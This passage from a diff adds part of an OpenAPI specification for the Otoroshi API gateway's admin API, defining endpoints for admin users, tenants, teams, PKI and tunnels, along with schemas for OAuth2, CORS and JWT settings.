}, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind SimpleAdminUser", + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + }, + "delete" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Deletes a specific SimpleAdminUser using its id", + "operationId" : "security.otoroshi.io.SimpleAdminUser.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/tenants/_template" : { + "get" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Tenant", + "operationId" : "organize.otoroshi.io.Tenant.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Tenant", + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admin-sessions/_bulk" : { + "delete" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Delete multiple AdminSession at the same time", + "operationId" : "security.otoroshi.io.AdminSession.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/tenants/_bulk" : { + "post" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Create multiple Tenant at the same time", + "operationId" : "organize.otoroshi.io.Tenant.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + }, + "put" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Update multiple Tenant at the same time", + "operationId" : "organize.otoroshi.io.Tenant.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Tenant at the same time", + "operationId" : "organize.otoroshi.io.Tenant.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Delete multiple Tenant at the same time", + "operationId" : "organize.otoroshi.io.Tenant.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/tcp-services/_count" : { + "get" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind TcpService", + "operationId" : "proxy.otoroshi.io.TcpService.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/pki/certs/_valid" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Check if a certificate is valid (based on its own data)", + "operationId" : "otoroshi.controllers.adminapi.PkiController.certificateIsValid", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/CertValidResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + }, + "/api/tunnels/register" : { + "get" : { + "tags" : [ "tunnels" ], + "summary" : "???", + "operationId" : "otoroshi.next.tunnel.TunnelController.tunnelEndpoint", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/teams/_bulk" : { + "post" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Create multiple Team at the same time", + "operationId" : "organize.otoroshi.io.Team.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + }, + "put" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Update multiple Team at the same time", + "operationId" : "organize.otoroshi.io.Team.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Team at the same time", + "operationId" : "organize.otoroshi.io.Team.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Delete multiple Team at the same time", + "operationId" : "organize.otoroshi.io.Team.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + } + }, + "components" : { + "schemas" : { + "regionmatch" : { + "type" : "object", + "properties" : { + "region" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Region match", + "required" : [ "region" ] + }, + "samlsignature" : { + "type" : "object", + "properties" : { + "algorithm" : { + "$ref" : "#/components/schemas/samlsignaturealgorithm" + }, + "canocalizationMethod" : { + "$ref" : "#/components/schemas/samlcanocalizationmethod" + } + }, + "title" : "S a m l signature", + "required" : [ "algorithm", "canocalizationMethod" ] + }, + "teamaccess" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + }, + "canRead" : { + "type" : "boolean" + }, + "canWrite" : { + "type" : "boolean" + } + }, + "title" : "Team access", + "required" : [ "value", "canRead", "canWrite" ] + }, + "ngcustomtimeouts" : { + "type" : "object", + "properties" : { + "path" : { + "type" : "string", + "minLength" : 1 + }, + "connectionTimeout" : { + "type" : "number" + }, + "idleTimeout" : { + "type" : "number" + }, + "callAndStreamTimeout" : { + "type" : "number" + }, + "callTimeout" : { + "type" : "number" + }, + "globalTimeout" : { + "type" : "number" + } + }, + "title" : "Ng custom timeouts", + "required" : [ "path", "connectionTimeout", "idleTimeout", "callAndStreamTimeout", "callTimeout", "globalTimeout" ] + }, + "backpressurengoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Backpressure ng overflow strategy" + }, + "servicegroupidentifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Service group identifier", + "required" : [ "id" ] + }, + "dropheadngoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Drop head ng overflow strategy" + }, + "filesettings" : { + "type" : "object", + "properties" : { + "path" : { + "type" : "string", + "minLength" : 1 + }, + "maxNumberOfFile" : { + "type" : "number" + }, + "maxFileSize" : { + "type" : "number" + } + }, + "title" : "File settings", + "required" : [ "path", "maxFileSize" ] + }, + "badresponse" : { + "type" : "object", + "properties" : { + "status" : { + "type" : "number" + }, + "body" : { + "type" : "string", + "minLength" : 1 + }, + "headers" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Bad response", + "required" : [ "status", "body", "headers" ] + }, + "corssettings" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "allowOrigin" : { + "type" : "string", + "minLength" : 1 + }, + "exposeHeaders" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "allowHeaders" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "allowMethods" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "maxAge" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "allowCredentials" : { + "type" : "boolean" + } + }, + "title" : "Cors settings", + "required" : [ "enabled", "allowOrigin", "exposeHeaders", "allowHeaders", "allowMethods", "excludedPatterns", "allowCredentials" ] + }, + "seccomheaders" : { + "type" : "object", + "properties" : { + "claimRequestName" : { + "type" : "string", + "minLength" : 1 + }, + "stateRequestName" : { + "type" : "string", + "minLength" : 1 + }, + "stateResponseName" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Sec com headers" + }, + "random" : { + "type" : "object", + "properties" : { }, + "title" : "Random" + }, + "otoroshi.ssl.pki.models.GenCsrQuery" : { + "type" : "object", + "description" : "Settings for generating a certificate", + "properties" : { + "client" : { + "type" : "boolean", + "description" : "Is cert client ?" + }, + "hosts" : { + "type" : "array", + "items" : { + "type" : "string" + }, + "description" : "Certificate SANs" + }, + "key" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenKeyPairQuery", + "description" : "Keypair specs" + }, + "includeAIA" : { + "type" : "boolean", + "description" : "Include AIA extension (if generated from otoroshi CA)" + }, + "signatureAlg" : { + "type" : "string", + "description" : "Signature algorithm" + }, + "existingSerialNumber" : { + "oneOf" : [ { + "type" : "string", + "nullable" : true, + "description" : "null type" + }, { + "type" : "integer", + "format" : "int64" + } ], + "description" : "" + }, + "duration" : { + "type" : "number", + "description" : "Certificate lifespan" + }, + "digestAlg" : { + "type" : "string", + "description" : "Digest algo" + }, + "ca" : { + "type" : "boolean", + "description" : "Is cert ca ?" + }, + "name" : { + "type" : "object", + "additionalProperties" : { + "type" : "string" + }, + "description" : "Certificate name" + }, + "subject" : { + "oneOf" : [ { + "type" : "string", + "nullable" : true, + "description" : "null type" + }, { + "type" : "string" + } ], + "description" : "Certificate subject" + } + } + }, + "BulkPatchBody" : { + "type" : "object", + "description" : "BulkPatchBody object" + }, + "seccomversionv1" : { + "type" : "object", + "properties" : { }, + "title" : "Sec com version v1" + }, + "wasmpluginvalidator" : { + "type" : "object", + "properties" : { + "ref" : { + "type" : "string", + "minLength" : 1 + }, + "error" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Wasm plugin validator", + "required" : [ "ref" ] + }, + "PemCsrBody" : { + "type" : "string", + "description" : "PEM encoded csr" + }, + "dataexporterconfigtypewasm" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type wasm" + }, + "genericoauth2moduleconfig" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "sessionMaxAge" : { + "type" : "number" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "clientId" : { + "type" : "string", + "minLength" : 1 + }, + "clientSecret" : { + "type" : "string", + "minLength" : 1 + }, + "tokenUrl" : { + "type" : "string", + "minLength" : 1 + }, + "authorizeUrl" : { + "type" : "string", + "minLength" : 1 + }, + "userInfoUrl" : { + "type" : "string", + "minLength" : 1 + }, + "introspectionUrl" : { + "type" : "string", + "minLength" : 1 + }, + "loginUrl" : { + "type" : "string", + "minLength" : 1 + }, + "logoutUrl" : { + "type" : "string", + "minLength" : 1 + }, + "scope" : { + "type" : "string", + "minLength" : 1 + }, + "claims" : { + "type" : "string", + "minLength" : 1 + }, + "useCookie" : { + "type" : "boolean" + }, + "useJson" : { + "type" : "boolean" + }, + "pkce" : { + "$ref" : "#/components/schemas/pkceconfig" + }, + "noWildcardRedirectURI" : { + "type" : "boolean" + }, + "readProfileFromToken" : { + "type" : "boolean" + }, + "jwtVerifier" : { + "$ref" : "#/components/schemas/algosettings" + }, + "accessTokenField" : { + "type" : "string", + "minLength" : 1 + }, + "nameField" : { + "type" : "string", + "minLength" : 1 + }, + "emailField" : { + "type" : "string", + "minLength" : 1 + }, + "apiKeyMetaField" : { + "type" : "string", + "minLength" : 1 + }, + "apiKeyTagsField" : { + "type" : "string", + "minLength" : 1 + }, + "otoroshiDataField" : { + "type" : "string", + "minLength" : 1 + }, + "callbackUrl" : { + "type" : "string", + "minLength" : 1 + }, + "oidConfig" : { + "type" : "string", + "minLength" : 1 + }, + "proxy" : { + "$ref" : "#/components/schemas/wsproxyserver" + }, + "extraMetadata" : { + "$ref" : "#/components/schemas/jsobject" + }, + "mtlsConfig" : { + "$ref" : "#/components/schemas/mtlsconfig" + }, + "refreshTokens" : { + "type" : "boolean" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "superAdmins" : { + "type" : "boolean" + }, + "rightsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/userrights" + } + } + }, + "dataOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "$ref" : "#/components/schemas/jsobject" + } + } + }, + "otoroshiRightsField" : { + "type" : "string", + "minLength" : 1 + }, + "adminEntityValidatorsOverride" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + } + } + }, + "title" : "Generic oauth2 module config", + "required" : [ "id", "name", "desc", "clientSideSessionEnabled", "sessionMaxAge", "userValidators", "clientId", "clientSecret", "tokenUrl", "authorizeUrl", "userInfoUrl", "introspectionUrl", "loginUrl", "logoutUrl", "scope", "claims", "useCookie", "useJson", "noWildcardRedirectURI", "readProfileFromToken", "accessTokenField", "nameField", "emailField", "apiKeyMetaField", "apiKeyTagsField", "otoroshiDataField", "callbackUrl", "extraMetadata", "mtlsConfig", "refreshTokens", "tags", "metadata", "sessionCookieValues", "location", "superAdmins", "rightsOverride", "dataOverride", "otoroshiRightsField", "adminEntityValidatorsOverride" ] + }, + "routerules" : { + "type" : "object", + "properties" : { + "routeId" : { + "type" : "string", + "minLength" : 1 + }, + "rulesConfig" : { + "$ref" : "#/components/schemas/rulesrouteconfiguration" + } + }, + "title" : "Route rules", + "required" : [ "routeId", "rulesConfig" ] + }, + "dataexporterconfigtypes3file" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type s3 file" + }, + "rsalgosettings" : { + "type" : "object", + "properties" : { + "size" : { + "type" : "number" + }, + "publicKey" : { + "type" : "string", + "minLength" : 1 + }, + "privateKey" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "R s algo settings", + "required" : [ "size", "publicKey" ] + }, + "plugins" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "excluded" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "refs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "config" : { + "$ref" : "#/components/schemas/jsvalue" + } + }, + "title" : "Plugins", + "required" : [ "enabled", "excluded", "refs", "config" ] + }, + "clientauthwant" : { + "type" : "object", + "properties" : { }, + "title" : "Client auth want" + }, + "security.otoroshi.io.AuthModuleUser" : { + "type" : "object", + "properties" : { + "randomId" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "email" : { + "type" : "string", + "minLength" : 1 + }, + "profile" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "token" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "realm" : { + "type" : "string", + "minLength" : 1 + }, + "authConfigId" : { + "type" : "string", + "minLength" : 1 + }, + "otoroshiData" : { + "$ref" : "#/components/schemas/jsvalue" + }, + "createdAt" : { + "type" : "string", + "format" : "date" + }, + "expiredAt" : { + "type" : "string", + "format" : "date" + }, + "lastRefresh" : { + "type" : "string", + "format" : "date" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Private apps user", + "required" : [ "randomId", "name", "email", "profile", "token", "realm", "authConfigId", "createdAt", "expiredAt", "lastRefresh", "tags", "metadata", "location" ] + }, + "exporterref" : { + "type" : "object", + "properties" : { + "ref" : { + "type" : "string", + "minLength" : 1 + }, + "config" : { + "$ref" : "#/components/schemas/jsvalue" + } + }, + "title" : "Exporter ref", + "required" : [ "ref", "config" ] + }, + "userright" : { + "type" : "object", + "properties" : { + "tenant" : { + "$ref" : "#/components/schemas/tenantaccess" + }, + "teams" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/teamaccess" + } + } + }, + "title" : "User right", + "required" : [ "tenant", "teams" ] + }, + "localjwtverifier" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "strict" : { + "type" : "boolean" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "source" : { + "$ref" : "#/components/schemas/jwttokenlocation" + }, + "algoSettings" : { + "$ref" : "#/components/schemas/algosettings" + }, + "strategy" : { + "$ref" : "#/components/schemas/verifierstrategy" + } + }, + "title" : "Local jwt verifier", + "required" : [ "enabled", "strict", "excludedPatterns", "source", "algoSettings", "strategy" ] + }, + "weightedbestresponsetime" : { + "type" : "object", + "properties" : { + "ratio" : { + "type" : "number" + } + }, + "title" : "Weighted best response time", + "required" : [ "ratio" ] + }, + "consolesettings" : { + "type" : "object", + "properties" : { }, + "title" : "Console settings" + }, + "proxy.otoroshi.io.RouteComposition" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "enabled" : { + "type" : "boolean" + }, + "debugFlow" : { + "type" : "boolean" + }, + "capture" : { + "type" : "boolean" + }, + "exportReporting" : { + "type" : "boolean" + }, + "groups" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "routes" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngminimalroute" + } + }, + "client" : { + "$ref" : "#/components/schemas/ngclientconfig" + }, + "plugins" : { + "$ref" : "#/components/schemas/ngplugins" + } + }, + "title" : "Ng route composition", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "enabled", "debugFlow", "capture", 